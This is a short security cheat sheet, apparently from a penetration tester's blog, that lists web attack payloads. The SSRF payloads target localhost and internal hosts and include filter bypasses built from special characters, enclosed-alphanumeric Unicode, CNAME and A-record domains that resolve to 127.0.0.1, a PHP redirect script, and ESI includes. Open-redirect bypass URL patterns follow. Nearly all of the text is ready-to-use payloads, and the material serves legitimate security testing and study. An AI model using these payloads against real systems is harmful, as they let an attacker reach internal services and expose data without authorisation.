[SSRF]

Basic Attack

```
?url=http://localhost/server-status
?url=http://127.0.0.1/server-status
?url=http://internal_domain/page
?url=http://internal_ip(192.138.0.14)/page
```

Bypass SSRF with speical char

```
?url=http://allow_domain.internal_domain_or_ip/page
?url=http://allow_domain@internal_domain_or_ip/page
?url=http://internal_domain_or_ip#.allow_domain/page
?url=http://internal_domain_or_ip?.allow_domain/page
?url=http://internal_domain_or_ip\.allow_domain/page
?url=https://ⓦⓦⓦ.ⓗⓐⓗⓦⓤⓛ.ⓒⓞⓜ = www.hahwul.com

[ List ]
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20.
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```

Bypass SSRF Domain CNAME & A-Record

```
[ CNAME ]
http://localhost.hahwul.com/server-status

$ nslookup localhost.hahwul.com
localhost.hahwul.com    canonical name = localhost.
Name:    localhost
Address: 127.0.0.1


[ A-Record ]
http://127.hahwul.com/server-status
```

post link

- https://www.hahwul.com/2019/02/bypass-ssrf-protection-using-domain-cname-arecord.html

Bypass SSRF HTTP Redirect

```
?url=http://your-domain/r.php

[ r.php ]
<?php
header('Location: http://127.0.0.1:8080/server-status');
?>
```

post link

- https://www.hahwul.com/2019/02/bypass-ssrf-protection-using-http-redirect.html

SSRF with ESIi

```
<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>
```

[Open Redirect(URL Redirection)]

Basic Attack

```
?url=https://www.hahwul.com
```

Open Redirect bypass pattern

```
?url=https://allow_domain.hahwul.com
?url=https://allow_domain@hahwul.com
?url=https://www.hahwul.com#allow_domain
?url=https://www.hahwul.com?allow_domain
?url=https://www.hahwul.com\allow_domain
?url=https://www.hahwul.com&allow_domain
?url=http://////////www.hahwul.com
?url=http:\\www.hahwul.com
?url=http:\/\/www.hahwul.com
```

하훌(HAHWUL)

Security engineer, Rubyist, and... H4cker

Git H

Since 2010 HAHWUL / (cc) BY-NC-ND